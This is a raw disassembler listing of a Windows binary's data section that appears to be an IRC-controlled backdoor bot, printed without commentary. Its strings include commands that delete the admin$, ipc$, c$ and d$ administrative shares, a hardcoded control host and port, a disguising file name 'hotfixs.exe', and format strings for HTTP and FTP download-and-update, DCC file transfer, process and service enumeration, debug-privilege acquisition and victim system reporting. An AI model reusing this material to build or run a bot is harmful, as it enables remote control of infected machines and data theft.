dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0) dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0) dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0) dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh dd 43B69Ch, 6 dup(0) dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0) dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0 dd offset loc_43B708 dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0) dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0 dd offset loc_43B758 dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0) dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0) dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0) dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0) dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0) dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0) dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0) dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0) dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0) dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0 dd offset loc_43B8A8 dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0 dd offset loc_43B908 dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0) dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0 dd offset loc_43B968 dd 1, 43B976h, 2 dup(0) dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0 dd offset loc_43B9AB dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0) dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0) dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0) dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0) dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0) dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441F68h, 4 dup(0) dd offset loc_42AF54 align 10h dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441FC8h, 4 dup(0) dd offset loc_42B031 align 10h dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0 dd offset loc_43BBA8 dd 1, 43BBB0h, 2 dup(0) dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0) dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0) dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0) dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0) dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0) dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh dd 43BCA8h, 2 dup(0) dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0) dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0) dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0 dd offset loc_43BDEB align 10h dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0) dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0) dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 43BE50h, 0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd 106h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_4034E0+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4435EC: ; DATA XREF: sub_4034E0+66o ; sub_40FF60:loc_41083Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404C70+875o ; sub_404C70+AF1o ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C70+831o ; sub_404C70+B5Eo ... align 10h asc_443600: ; DATA XREF: sub_404640:loc_40471Fo ; sub_404640+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404640+75o ; sub_40FF60:loc_410949o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o align 8 aN: ; DATA XREF: sub_404C70+D23o unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404C70+447o ; sub_41C030+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o ; sub_404C70+9B1o ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_406890+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o dd 0 a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo a2003 db '2003',0 ; DATA XREF: sub_406890+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_406890+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_406890+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_406890+C7o align 10h a98 db '98',0 ; DATA XREF: sub_406890+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_406890+AFo align 4 a95 db '95',0 ; DATA XREF: sub_406890+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406DEDo ; ___:00406E35o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406DB0o ; sub_40EC30+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406D73o dd 0 dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086ECo ... dword_4437F8 dd 40h ; sub_40FF60+7CCo ... dword_4437FC dd 20544F48h, 53584946h, 0aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+386o align 4 dd 0 aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+375o align 4 aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+364o align 10h aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+353o dd 0 aTahy db 'TAHY-',0 ; DATA XREF: sub_407790+345o align 4 aHoewrt db 'hoewrt',0 ; DATA XREF: sub_407790+334o align 4 aHotfixs_exe db 'hotfixs.exe',0 ; DATA XREF: sub_407790+323o dd 0 aServec db 'servec',0 ; DATA XREF: sub_407790+312o align 4 aS_1 db '#s',0 ; DATA XREF: sub_407790+301o align 4 aScop db '#scop#',0 ; DATA XREF: sub_407790+2F0o align 10h a7000 db '7000',0 ; DATA XREF: sub_407790+298o align 4 aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o ; sub_407790+2BAo align 10h off_4438B0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4438D0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_4438F8 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o ; ___:0040A971o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo ; sub_40B700+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B79Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B844o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C400+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o align 10h dword_443A20 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C400+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o dd 0 asc_443AF4: ; DATA XREF: sub_40CBB0+113o ; sub_4200F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o align 4 aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o ; sub_40EF90+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo align 10h dd 0 asc_443C74 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo ; sub_40FF60+1118o ... align 4 asc_443C78: ; DATA XREF: sub_40FF60+CACo ; sub_40FF60+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o ; sub_40FF60:loc_410BB7o aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo ; sub_40FF60:loc_410B96o asc_443C84: ; DATA XREF: sub_40FF60+871o ; sub_40FF60:loc_410BD8o ... unicode 0, <:>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do ; sub_40FF60+732o ... align 8 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 10h dd 0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o ; sub_4126B0+91o ... dd 0 dword_443CC4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CD4 dd 0A0D7325h, 0 ; sub_42D1A0+71o dword_443CDC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo dword_443CEC dd 4255505Bh, 5D43494Ch, 0dword_443CF8 dd 4952505Bh, 45544156h, 5Dhdword_443D04 dd 202Eh ; sub_4126B0+E5o dword_443D08 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o align 10h aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao align 4 asc_443D24: ; DATA XREF: ___:loc_412E63o dw 3Ch unicode 0, <>,0 asc_443D28: ; DATA XREF: ___:loc_412E4Co dw 3Eh unicode 0, <>,0 asc_443D2C db '==',0 ; DATA XREF: ___:loc_412E35o align 10h asc_443D30 db '!=',0 ; DATA XREF: ___:00412E21o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o align 4 aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo align 4 aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o ; sub_4192C0+297o align 4 aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o align 10h aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o align 10h off_443D70 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o ; ___:0042B302o ... dword_443D74 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo dword_443D80 dd 652Dh dword_443D84 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o align 10h aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo align 10h byte_443DC0 db 1 ; DATA XREF: sub_41A290r align 4 dword_443DC4 dd 2Eh ; ___:0041B235o ... dword_443DC8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_443E14: ; DATA XREF: ___:00421759o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_443E28 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E3C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E74 dd 63257325h, 0 ; sub_41F860+E5o dword_443E7C dd 72h dword_443E80 dd 30h ; sub_424840+327o dword_443E84 dd 3039h dword_443E88 dd 383631h dword_443E8C dd 323931h dword_443E90 dd 3631h dword_443E94 dd 323731h dword_443E98 dd 3031h off_443E9C dd offset dword_5C005C ; DATA XREF: ___:0041C117r ; ___:0041C287r word_443EA0 dw 0 ; DATA XREF: ___:0041C121r ; ___:0041C291r align 4 off_443EA4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r ; ___:0041C256r dword_443EA8 dd 430050h ; ___:0041C25Br dword_443EAC dd 24h ; ___:0041C27Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o align 8 asc_443EE8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o ; ___:0041FC87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo dd 0 dword_443FEC dd 28737973h, 6F626572h, 29746Fh, 0dword_443FFC dd 6469706Bh, 7325203Ah, 0dword_444008 dd 203A736Bh, 7325hdword_444010 dd 202E6425h, 7325202Fh, 0dword_44401C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o ; sub_41EF30+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o ; sub_41EF30+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41EF30+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o ; sub_41EF30+51Ao align 4 asc_444098: ; DATA XREF: sub_41EF30+2EFo ; sub_41EF30+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o ; sub_41EF30+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o ; sub_41EF30+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o ; sub_41EF30+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o ; sub_41EF30+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o ; sub_420530+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo ; sub_4207E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o ; sub_4207E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o ; sub_420530+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo align 4 off_444314 dd offset word_616C4E ; DATA XREF: sub_4207E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo align 4 off_44432C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do align 4 